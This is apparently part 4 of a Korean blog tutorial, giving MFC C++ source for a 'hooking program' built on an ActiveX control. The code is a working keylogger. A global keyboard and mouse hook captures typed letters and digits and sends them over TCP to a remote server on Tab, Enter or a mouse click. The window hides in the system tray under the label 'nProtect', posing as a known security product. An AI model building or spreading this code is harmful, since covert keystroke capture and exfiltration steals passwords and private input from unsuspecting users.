엑티브엑스 컨트롤을 이용한 후킹 프로그램 4. 후킹 구현

앞에서 만든 폼뷰(FormView)에 후킹을 해줄 기능을 구현해 준다.

 

 

// ChatFormView.cpp : 구현파일입니다. //   #include "stdafx.h" #include "GlobalHooking.h" #include "ChatFormView.h" #include <mmsystem.h> #include "KeyHook.h"   // CChatFormView   IMPLEMENT_DYNCREATE(CChatFormView, CFormView)   CChatFormView::CChatFormView()         : CFormView(CChatFormView::IDD)         , list(_T("")) {         IsStart = false;               SockStart(); }   CChatFormView::~CChatFormView() { }   void CChatFormView::DoDataExchange(CDataExchange* pDX) {         CFormView::DoDataExchange(pDX);         DDX_LBString(pDX, IDL_LIST, list);         DDX_Control(pDX, IDL_LIST, c_list); }   BEGIN_MESSAGE_MAP(CChatFormView, CFormView)         ON_WM_CREATE()         ON_MESSAGE(WM_HOOKED,HookedMessage)         ON_MESSAGE(WM_HOOKEDM,HookedMMessage)         ON_MESSAGE(WM_ICON_NOTIFY,OnTrayNotification)         ON_WM_DESTROY()         ON_BN_CLICKED(IDB_START, &CChatFormView::OnBnClickedStart)         ON_COMMAND(IDM_EXIT, &CChatFormView::OnExit)         ON_WM_CLOSE()         ON_WM_SYSCOMMAND()         ON_BN_CLICKED(IDB_MIN, &CChatFormView::OnBnClickedMin) END_MESSAGE_MAP()     // CChatFormView 진단입니다.   #ifdef _DEBUG void CChatFormView::AssertValid() const {         CFormView::AssertValid(); }   #ifndef _WIN32_WCE void CChatFormView::Dump(CDumpContext& dc) const {         CFormView::Dump(dc); } #endif #endif //_DEBUG     // CChatFormView 메시지처리기입니다.   BOOL CChatFormView::Create(LPCTSTR lpszClassName, LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID, CCreateContext* pContext) {         // TODO: 여기에특수화된코드를추가및/또는기본클래스를호출합니다.           return CFormView::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, nID, pContext); } void CChatFormView::SockStart() {         WSADATA wsaData;         WSAStartup(MAKEWORD(2, 0), &wsaData);           s = socket(AF_INET, SOCK_STREAM, 0); // TCP / IP           SOCKADDR_IN addr;         addr.sin_family = AF_INET; // 인터넷주소         addr.sin_port = 4000; //      addr.sin_addr.s_addr = inet_addr("192.168.34.69"); // 서버ip         addr.sin_addr.s_addr = gethostip();           int namelen = sizeof(addr);                 // 서버에접속을시도한다.           if(connect(s, (SOCKADDR*)&addr, namelen) == -1){                  return;         } } LRESULT CChatFormView::HookedMessage(WPARAM wParam, LPARAM lParam) {         int sendnum = 0;         memset(buf,'\0',256);         if((lParam & 0x80000000) == 0)         {                if(wParam >='A' && wParam <= 'Z')                {                        PushBuf(wParam);                }                  if(wParam >='0' && wParam <= '9')                {                        PushBuf(wParam);                }                               if((vi.size() != 0) && wParam == 9) //tab 입력받았을경우Send                {                        SendBuf();                }                if((vi.size() != 0) && wParam == 8) //백스페이스입력받았을때삭제                {                        vi.pop_back();                }                if((vi.size() != 0) && wParam == 13) //엔터키입력받았을때Send                {                        SendBuf();                }           }         return LRESULT(); }   LRESULT CChatFormView::HookedMMessage(WPARAM wParam, LPARAM lParam) {         if((vi.size() != 0) && (wParam == WM_LBUTTONUP)) //마우스클릭시Send         {                SendBuf();         }           return LRESULT(); }   void CChatFormView::SendBuf() {         int j = vi.size();         for(int i=0;i < j;i++)         {                buf[i] = vi[i];         }         send(s,buf,256,0);         vi.clear(); }   void CChatFormView::PushBuf(WPARAM wParam) {         HWND hDlg = this->GetSafeHwnd();         wsprintf(Mes2,TEXT("입력된키: %c, 변환된키: %c"),wParam,wParam+10);         ::SendMessage(::GetDlgItem(hDlg,IDL_LIST),LB_ADDSTRING,0,(LPARAM)Mes2);         wsprintfA(buf,"%c",wParam+10);         vi.push_back(*buf); }   LRESULT CChatFormView::OnTrayNotification(WPARAM wParam, LPARAM lParam) {         CMenu menu, *pSubMenu;           // 오른쪽마우스버튼이눌렸을경우: 컨텍스트메뉴출력         if (LOWORD(lParam) == WM_RBUTTONUP)         {                if (!menu.LoadMenu(IDR_NP))                {                        return 0;                }                if (!(pSubMenu = menu.GetSubMenu(0)))                {                        return 0;                }                  CPoint pos;                GetCursorPos(&pos);                SetForegroundWindow();                // 컨텍스트메뉴출력                pSubMenu->TrackPopupMenu(TPM_RIGHTALIGN, pos.x, pos.y, this);                menu.DestroyMenu();         }           // 왼쪽마우스버튼이더블클릭되었을경우         else if (LOWORD(lParam) == WM_LBUTTONDBLCLK)         {                ShowWindow(SW_SHOW);         }                 return LRESULT(); }     int CChatFormView::OnCreate(LPCREATESTRUCT lpCreateStruct) {         if (CFormView::OnCreate(lpCreateStruct) == -1)                return -1;           // TODO:  여기에특수화된작성코드를추가합니다.         /////////////tray         if(!m_TrayIcon.Create(this,WM_ICON_NOTIFY, _T("nProtect입니다"),NULL,IDI_NP))         {                return -1;         }         m_TrayIcon.SetIcon(IDI_NP);         return 0; }   void CChatFormView::OnDestroy() {         CFormView::OnDestroy();           // TODO: 여기에메시지처리기코드를추가합니다.         WSACleanup();         UninstallHook(); }   void CChatFormView::OnBnClickedStart() {         // TODO: 여기에컨트롤알림처리기코드를추가합니다.             HWND hWnd = this->GetSafeHwnd();         if(IsStart == false)         {                ::SetWindowText(::GetDlgItem(hWnd,IDB_START),TEXT("후킹중단"));                InstallHook(hWnd);                IsStart = true;         }         else         {                ::SetWindowText(::GetDlgItem(hWnd,IDB_START),TEXT("후킹시작"));                UninstallHook();                IsStart = false;         } }   LONG CChatFormView::gethostip() {         char name[256];         gethostname(name,255);         hostent *hten;         hten =gethostbyname(name);         return (LONG)hten[1].h_addr_list; } void CChatFormView::OnExit() {         // TODO: 여기에명령처리기코드를추가합니다.         HWND hWnd = this->GetSafeHwnd();         NOTIFYICONDATA nid;         nid.cbSize = sizeof(NOTIFYICONDATA);         nid.hWnd = hWnd;         nid.uID = 0;         Shell_NotifyIcon(NIM_DELETE,&nid);         HMENU hTrayMenu=0, hMenu=0;         DestroyMenu(hTrayMenu);         DestroyMenu(hMenu);           PostQuitMessage(0);         OnDestroy(); }   void CChatFormView::OnClose() {         // TODO: 여기에메시지처리기코드를추가및/또는기본값을호출합니다.         ShowWindow(SW_HIDE); }   void CChatFormView::OnSysCommand(UINT nID, LPARAM lParam) {         // TODO: 여기에메시지처리기코드를추가및/또는기본값을호출합니다.         if(nID == SC_MINIMIZE)         {                ShowWindow(SW_HIDE);         }         CFormView::OnSysCommand(nID, lParam); }     void CChatFormView::OnBnClickedMin() {         // TODO: 여기에컨트롤알림처리기코드를추가합니다.         ShowWindow(SW_HIDE); }

 

 

[출처] 엑티브엑스 컨트롤을 이용한 후킹 프로그램 4. 후킹 구현|작성자 Ian